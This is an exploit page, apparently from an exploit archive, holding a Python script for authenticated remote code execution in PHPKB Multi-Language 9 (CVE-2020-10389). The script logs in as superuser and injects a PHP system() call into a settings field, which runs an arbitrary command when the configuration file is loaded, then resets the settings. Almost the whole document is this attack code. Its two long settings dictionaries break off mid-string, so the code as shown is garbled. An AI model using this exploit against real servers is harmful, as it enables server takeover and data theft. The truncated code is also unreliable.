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PHPKB Multi-Language 9 Authenticated Remote Code Execution Exploit
Author
Risk
[Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
# Exploit Title: PHPKB Multi-Language 9 - Authenticated Remote Code Execution
# Exploit Author: Antonio Cannito
# Vendor Homepage: https://www.knowledgebase-script.com/
# Software Link: https://www.knowledgebase-script.com/pricing.php
# Version: Multi-Language v9
# Tested on: Windows 8.1 / PHP 7.4.3
# CVE : CVE-2020-10389
#!/usr/bin/env python3
import argparse
import requests
#Parsing arguments
parser = argparse.ArgumentParser(description="Exploiting CVE-2020-10389 - Authenticated Remote Code Execution in Chadha PHPKB Standard Multi-Language 9 in admin/save-settings.php")
parser.add_argument("url", type=str, help="PHPKB's base path")
parser.add_argument("username", type=str, help="Superuser username")
parser.add_argument("password", type=str, help="Superuser password")
parser.add_argument("cmd", type=str, help="The command you want executed")
args = parser.parse_args()
session = requests.Session()
#Perform login
session.post(args.url + "/admin/login.php", data={'phpkb_username': args.username, 'phpkb_password': args.password, 'login': 'LOGIN'}).text
#Sending exploit code and downloading the file
exp = """' . system("{}") . '""".format(args.cmd)
data = {"putdown_for_maintenance": "no{}".format(exp), "kbname": "test", "kburl": "http://localhost/phpkb", "kb_access": "unrestricted", "extended_support_license_key": '', "mail_server": "default", "smtp_hostname": '', "smtp_username": '', "smtp_password": '', "smtp_port": '', "encryption_method": "None", "emails_debug_mode": "0", "emails_debug_output": "error_log", "send_mails_from": '', "test_email": '', "mysqlserver": "127.0.0.1", "mysqlusername": "root", "mysqlpswd": "DummyPass", "mysqldatabase": "test", "kb_layout": "fluid", "category_tree_width": "3", "sidebar_orientation": "left", "category_tree_layout": "normal", "show_tree_articles": "yes", "category_articles_count": "show", "categories_display_order": "Alphabetic", "home_theme": "modern", "home_search_layout": "default", "categories_layout_theme": "carousel", "show_categories_cols": "3", "category_title_size": "normal", "home_articles_layout": "tabbed", "display_featured": "yes", "featured_count": "5", "display_popular": "yes", "popular_count": "5", "display_rated": "yes", "rated_count": "5", "display_recent": "yes", "recent_count": "5", "enable_subscribe_kb": "yes", "kb_subscribe_theme": "minimal", "category_articles_layout": "default", "category_page_records_default": "10", "category_page_records_minimal": "10", "articles_sortby": "Popularity", "articles_sortorder": "Descending", "enable_subscribe_category": "yes", "enable_news_page": "yes", "display_homepage_news": "yes", "number_homepage_news": "5", "enable_login_page": "yes", "enable_glossary_page": "yes", "enable_contact_page": "yes", "send_contact_email": "yes", "contact_email_address": "tet@test.com", "enable_instant_suggestions": "yes", "minimum_question_characters": "60", "default_search": "Articles", "search_in_articles": "All", "search_in_others": "Both", "search_filter": "Any Word", "display_recentviewed": "yes", "recentviewed_count": "5", "display_popular_searches": "yes", "popularsearch_count": "5", "article_page_theme": "default", "article_sidebar_content": "related", "enable_add_favorite": "yes", "enable_print_article": "yes", "enable_email_article": "yes", "enable_exportto_msword": "yes", "enable_exportto_pdf": "yes", "enable_subscribe_article": "yes", "enable_custom_fields": "yes", "enable_article_rating": "yes", "enable_article_hits": "yes", "enable_article_author": "yes", "show_author_email": "yes", "enable_related_articles": "yes", "number_related_articles": "10", "show_related_articles_randomly": "yes", "enable_article_feedback": "yes", "enable_article_comments": "yes", "existing_comments_visibility": "hide", "show_comments_to": "all", "comments_sortorder": "Descending", "email_privacy_protection": "yes", "article_meta_source": "article title", "notify_pending_comment_superuser": "yes", "notify_approved_comment_user": "yes", "schema_publisher_name": '', "schema_publisher_logo": '', "enable_rss_feed": "yes", "enable_rss_featured_feed": "yes", "enable_rss_popular_feed": "yes", "enable_rss_latest_feed": "yes", "enable_rss_rated_feed": "yes", "enable_rss_related_feed": "yes", "number_login_attempts": "9223372036854775807", "login_delay": "5", "maxfilesize": "10240", "kb_allowed_upload_file_types": "gif,jpg,jpeg,png,wma,wmv,swf,doc,docx,zip,pdf,txt", "searching_method": "0", "fulltext_mode": "0", "searchresultsperpage": "10", "enable_search_files": "yes", "doc_path": "C:\\antiword\\antiword.exe", "ppt_path": "C:\\xampp\\htdocs\\phpkb\\admin\\ppthtml.exe", "xls_path": "C:\\xampp\\htdocs\\phpkb\\admin\\xlhtml.exe", "pdf_path": "C:\\xampp\\htdocs\\phpkb\\admin\\pdftotext.exe", "index_attachment": "yes", "enable_autosave": "yes", "autosave_interval": "120000", "use_wysiwyg_editor": "yes", "enable_version_history": "yes", "enable_captcha": "yes", "captcha_type": "default", "recaptcha_site_key": '', "recaptcha_secret_key": '', "syntax_highlighter_theme": "shThemeDefault", "pdf_library": "wkhtmltopdf", "wkhtmltopdf_path": "lol", "pdf_header": '', "pdf_footer_type": "default", "pdf_page_numbers": "yes", "pdf_page_number_position": "Left", "pdf_footer": '', "kb_meta_keywords": "keyword1, keyword2, ke
url = args.url + "/admin/manage-settings.php"
session.post(url, data=data)
print(session.get(args.url + "admin/include/configuration.php").text.encode('utf-8'))
#Resetting settings
data = {"putdown_for_maintenance": "no{}", "kbname": "test", "kburl": "http://localhost/phpkb", "kb_access": "unrestricted", "extended_support_license_key": '', "mail_server": "default", "smtp_hostname": '', "smtp_username": '', "smtp_password": '', "smtp_port": '', "encryption_method": "None", "emails_debug_mode": "0", "emails_debug_output": "error_log", "send_mails_from": '', "test_email": '', "mysqlserver": "127.0.0.1", "mysqlusername": "root", "mysqlpswd": "DummyPass", "mysqldatabase": "test", "kb_layout": "fluid", "category_tree_width": "3", "sidebar_orientation": "left", "category_tree_layout": "normal", "show_tree_articles": "yes", "category_articles_count": "show", "categories_display_order": "Alphabetic", "home_theme": "modern", "home_search_layout": "default", "categories_layout_theme": "carousel", "show_categories_cols": "3", "category_title_size": "normal", "home_articles_layout": "tabbed", "display_featured": "yes", "featured_count": "5", "display_popular": "yes", "popular_count": "5", "display_rated": "yes", "rated_count": "5", "display_recent": "yes", "recent_count": "5", "enable_subscribe_kb": "yes", "kb_subscribe_theme": "minimal", "category_articles_layout": "default", "category_page_records_default": "10", "category_page_records_minimal": "10", "articles_sortby": "Popularity", "articles_sortorder": "Descending", "enable_subscribe_category": "yes", "enable_news_page": "yes", "display_homepage_news": "yes", "number_homepage_news": "5", "enable_login_page": "yes", "enable_glossary_page": "yes", "enable_contact_page": "yes", "send_contact_email": "yes", "contact_email_address": "tet@test.com", "enable_instant_suggestions": "yes", "minimum_question_characters": "60", "default_search": "Articles", "search_in_articles": "All", "search_in_others": "Both", "search_filter": "Any Word", "display_recentviewed": "yes", "recentviewed_count": "5", "display_popular_searches": "yes", "popularsearch_count": "5", "article_page_theme": "default", "article_sidebar_content": "related", "enable_add_favorite": "yes", "enable_print_article": "yes", "enable_email_article": "yes", "enable_exportto_msword": "yes", "enable_exportto_pdf": "yes", "enable_subscribe_article": "yes", "enable_custom_fields": "yes", "enable_article_rating": "yes", "enable_article_hits": "yes", "enable_article_author": "yes", "show_author_email": "yes", "enable_related_articles": "yes", "number_related_articles": "10", "show_related_articles_randomly": "yes", "enable_article_feedback": "yes", "enable_article_comments": "yes", "existing_comments_visibility": "hide", "show_comments_to": "all", "comments_sortorder": "Descending", "email_privacy_protection": "yes", "article_meta_source": "article title", "notify_pending_comment_superuser": "yes", "notify_approved_comment_user": "yes", "schema_publisher_name": '', "schema_publisher_logo": '', "enable_rss_feed": "yes", "enable_rss_featured_feed": "yes", "enable_rss_popular_feed": "yes", "enable_rss_latest_feed": "yes", "enable_rss_rated_feed": "yes", "enable_rss_related_feed": "yes", "number_login_attempts": "9223372036854775807", "login_delay": "5", "maxfilesize": "10240", "kb_allowed_upload_file_types": "gif,jpg,jpeg,png,wma,wmv,swf,doc,docx,zip,pdf,txt", "searching_method": "0", "fulltext_mode": "0", "searchresultsperpage": "10", "enable_search_files": "yes", "doc_path": "C:\\antiword\\antiword.exe", "ppt_path": "C:\\xampp\\htdocs\\phpkb\\admin\\ppthtml.exe", "xls_path": "C:\\xampp\\htdocs\\phpkb\\admin\\xlhtml.exe", "pdf_path": "C:\\xampp\\htdocs\\phpkb\\admin\\pdftotext.exe", "index_attachment": "yes", "enable_autosave": "yes", "autosave_interval": "120000", "use_wysiwyg_editor": "yes", "enable_version_history": "yes", "enable_captcha": "yes", "captcha_type": "default", "recaptcha_site_key": '', "recaptcha_secret_key": '', "syntax_highlighter_theme": "shThemeDefault", "pdf_library": "wkhtmltopdf", "wkhtmltopdf_path": "lol", "pdf_header": '', "pdf_footer_type": "default", "pdf_page_numbers": "yes", "pdf_page_number_position": "Left", "pdf_footer": '', "kb_meta_keywords": "keyword1, keyword2, keyword3", "kb
session.post(url, data=data)
# 0day.today [2024-12-26] #